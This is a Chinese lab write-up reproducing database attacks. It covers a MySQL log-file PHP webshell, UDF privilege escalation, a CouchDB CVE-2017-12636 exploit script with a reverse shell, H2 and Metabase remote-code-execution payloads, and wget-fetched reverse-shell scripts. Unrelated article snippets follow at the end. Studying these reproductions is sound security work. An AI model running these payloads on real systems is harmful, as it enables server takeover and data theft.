数据库攻防学习之MySQL

MySQL

0x01mysql学习

MySQL 是瑞典的MySQL
AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

0x03漏洞复现
日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like ‘%general%’; 查看日志读写功能

SET GLOBAL general_log=‘on’;开启日志读写功能

select @@basedir; 查看mysql所在的绝对路径

SHOW VARIABLES LIKE
“secure_file_priv”;如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBAL
general_log_file=‘C:/phpstudy_pro/WWW/shell.php’;修改日志文件路径

修改设置,该为开启,这样才能继续利用。

再次查询,可以发现已经发生了改变

访问验证

select ‘<?php eval($_POST["a"]);?>’;

总结,如果SHOW VARIABLES LIKE
“secure_file_priv”;为NULL则没办法使用into outfile
写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like’%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like’%secure%';

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL
安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFS
ADS方法创建目录,但有可能不成功。

show
variables
like
‘plugin%’;

查询发现已经有了,然后进行文件写入。

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can’t open shared library ‘udf.dll’,切换成32位试试。

实战中不成功,可以轮流尝试。

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’;

select sys_eval(‘whoami’);

select sys_eval(‘dir’);

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现
CVE-2017-12635

PUT发包创建用户

选择内网映射端口为5984的抓包访问

http://192.168.48.133:54944/_utils/#login

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host:Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 110{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"}

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = 'http://your-ip:5984'command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""version = 1session = requests.session()session.headers = {'Content-Type': 'application/json'}# session.proxies = {# 'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()if version == 1:session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))else:host = session.get(target +
'/_membership').json()['all_nodes'][0]session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')else:session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java
实现的关系型数据库,不受平台的限制。

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

在JDBC URL输入这个语句点击connect即可未授权访问

RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sqlCREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascriptJava.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';bash -i >& /dev/tcp/ip/7888 0>&1

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

存在未授权访问漏洞

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase
服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

expPOST /api/setup/validate HTTP/1.1Host: your-ipContent-Type: application/json{"token": "token值","details":{"is_on_demand": false,"is_full_sync": false,"is_sample": false,"cache_ttl": null,"refingerprint": false,"auto_run_queries": true,"schedules":{},"details":{"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x","advanced-options": false,"ssl": true},"name": "test","engine": "h2"}}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

验证成功

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

创建个re_shell.sh,内容如下

!/bin/shbash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'执行 wget http://ip:port/re_shell.sh

执行

/bin/bash /tmp/re_shell.sh

成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/232355.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【源码解析】Apache RocketMQ发送消息源码

send message源码解析 引入 send message方法作为我们经常使用的方法&#xff0c;平时我们很难去关注他底层到底做了什么。大部分人只知道通过send message方法可以将消息发送到broker&#xff0c;然后供消费者进行消费。其实不然&#xff0c;消息从客户端发送到broker&#x…

Nginx快速入门:Nginx实现高可用|结合keepalived实现主备节点(九)

0. 引言 在生产中我们要尽可能避免单点故障&#xff0c;nginx也不例外&#xff0c;因此搭建主备节点必不可少&#xff0c;今天我们来学习下如何利用keepalived实现主备 1. keepalived简介 keepalived 是一个LINUX系统中开源的负载均衡和故障转移软件&#xff0c;它主要用于高…

Vue新手村(一)

目录 1、Vue简介——Vue的特点 2、Vue的第一个页面 3.Vue的简单使用介绍 3.1、{{ }}的使用 3.2、v-text和v-html 3.2.1、v-text和{{ }}的区别 3.2.2、v-html和v-text的区别 3.3、v-on【事件绑定】 3.3.1、绑定事件的语法 3.3.2、语法简化 3.3.3、传参 3.4、v-show和…

Elasticsearch基本操作之索引操作

本文说下Elasticsearch基本操作之索引操作 文章目录 概述创建索引创建索引示例重复创建索引示例 查看索引查看所有索引查看单个索引 删除索引删除索引 概述 由于是使用命令来操作Elasticsearch&#xff0c;可以使用kibana&#xff0c;postman和apifox等工具 我使用了apifox来执…

Access数据库C#读写验证

1、数据库简介 Access数据库是一个相当古老的文件型数据库&#xff0c;主打一个简单方便&#xff0c;没有复杂的安装过程&#xff0c;没有庞大的后端管理&#xff0c;整个数据库就是一个文件。可以像普通文件一样复制和修改&#xff0c;可以同时读写。 在小型系统中&#xff0c…

Java序列化篇----第一篇

系列文章目录 文章目录 系列文章目录前言一、什么是java序列化,如何实现java序列化?二、保存(持久化)对象及其状态到内存或者磁盘三、序列化对象以字节数组保持-静态成员不保存四、序列化用户远程对象传输前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,…

探索生成式AI:自动化、问题解决与创新力

目录 自动化和效率&#xff1a;生成式AI的颠覆力量 解谜大师生成式AI&#xff1a;如何理解和解决问题 创新与创造力的启迪&#xff1a;生成式AI的无限潜能 自动化和效率&#xff1a;生成式AI的颠覆力量 1. 神奇的代码生成器&#xff1a;生成式AI可以帮助开发人员像魔术一样快…

外包干了3个多月,技术退步明显。。。。。

先说一下自己的情况&#xff0c;本科生生&#xff0c;19年通过校招进入广州某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测…

Pytest的测试报告——Allure

一、html-report测试报告 html-report测试报告。是pytest下基本的测试报告。要使用pytest-html测试报告&#xff0c;就要确保python版本在3.6及以上即可。本身pytest所提供的测试结果汇总&#xff0c;是基于控制台的文本输出形式。 pytest-html是基于HTML格式实现的测试报告的…

手机视频监控客户端APP如何实现跨安卓、苹果和windows平台,并满足不同人的使用习惯

目 录 一、手机视频监控客户端的应用和发展 二、手机视频监控客户端存在的问题 三、HTML5视频监控客户端在手机上实现的方案 &#xff08;一&#xff09;HTML5及其优点 &#xff08;二&#xff09;HTML5在手机上实现视频应用功能的优势 四、手机HTML5…

机器人相关知识

机器人学&#xff08;Robotics) 一些基础概念 位姿 位姿位置姿态 位姿的表示 刚体 刚性物体是一组粒子的集合&#xff0c;其中任意两个粒子之间的距离保持固定&#xff0c;不受物体运动或施加在物体上的力的影响。 “完全不可变形”的物体就是刚体。 刚体位置 刚性连杆 …

2024年阿里云优惠活动清单_优惠代金券领取大全

阿里云服务器优惠活动大全包括&#xff1a;云服务器新人特惠、云小站、阿里云免费中心、学生主机优惠、云服务器精选特惠、阿里云领券中心等&#xff0c;活动上阿里云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、轻量应用服务器2核2G3M带宽轻量服务器一年61元&#xff0c;…

使用Go语言编写高效的HTTP服务器

随着互联网的快速发展&#xff0c;HTTP服务器在Web开发中扮演着越来越重要的角色。而Go语言作为一种高效、并发性强的编程语言&#xff0c;为编写高性能的HTTP服务器提供了强大的支持。本文将探讨如何使用Go语言编写高效的HTTP服务器。 首先&#xff0c;我们需要了解Go语言的H…

基于FFmpeg的短视频编辑工具Cut

前言 最近在学习FFmpeg和音视频的相关知识&#xff0c;为了加强对FFmpeg的认识和了解&#xff0c;于是撸了一个短视频编辑软件Cut。 效果图先行&#xff1a; 技术点 启动页优化 但启动app的时候会有一个短暂的黑屏或者白屏。为什么呢&#xff1f; 是因为在App启动时&#x…

word2019保存后的图片变模糊了怎么办?Word 2019 默认保存后压缩变模糊的问题,解决方案

Word 2019 默认保存后压缩变模糊的问题&#xff0c;解决方案 1&#xff0c;新建word 文件&#xff0c;插入一张原始图片&#xff0c;1080*1920&#xff0c;如下图&#xff1a; 2&#xff0c;保存时&#xff0c;word 2019默认选项&#xff0c;导致word 保存后&#xff0c;图片…

Reids原理及简单命令

目录 1.关系数据库与非关系型数据库 关系型数据库 非关系型数据库 关系型数据库和非关系型数据库区别 数据存储方式不同 扩展方式不同 对事务性的支持不同 总结&#xff1a; 2. Redis简介 什么是redis reids优点 reids使用场景&#xff1a; reids快的原因 Redis数…

Linux/Unix/国产化操作系统常用命令(二)

目录 后CentOS时代国产化操作系统国产化操作系统有哪些常用Linux命令关于Linux的LOGO 后CentOS时代 在CentOS 8发布后&#xff0c;就有了一些变化和趋势&#xff0c;可以说是进入了"后CentOS时代"。这个时代主要表现在以下几个方面&#xff1a; CentOS Stream的引入…

阿里云迁移AWS视频点播技术攻坚

文章目录 &#x1f437; 背景&#x1f9a5; 简述&#x1f425; Aws服务&#x1f99c; AWS CloudFormation&#x1f41e; 问题&#x1f409; 落地方案&#x1f989; Aws vs Aliyun&#x1f344; 避坑指南 &#x1f437; 背景 由于AWS整体成本略低于阿里云&#xff0c;公司决定将…

【软件测试】学习笔记-测试覆盖率

测试覆盖率通常被用来衡量测试的充分性和完整性&#xff0c;从广义的角度来讲&#xff0c;测试覆盖率主要分为两大类&#xff0c;一类是面向项目的需求覆盖率&#xff0c;另一类是更偏向技术的代码覆盖率。 需求覆盖率 需求覆盖率是指测试对需求的覆盖程度&#xff0c;通常的做…

YOLOv5训练损失、精度、mAP绘图功能 | 支持多结果对比,多结果绘在一个图片(消融实验、科研必备)

一、本文介绍 本文给大家带来的是YOLOv5系列的绘图功能,我将向大家介绍YOLO系列的绘图功能。我们在进行实验时,经常需要比较多个结果,针对这一问题,我写了点代码来解决这个问题,它可以根据训练结果绘制损失(loss)和mAP(平均精度均值)的对比图。这个工具不仅支持多个文件…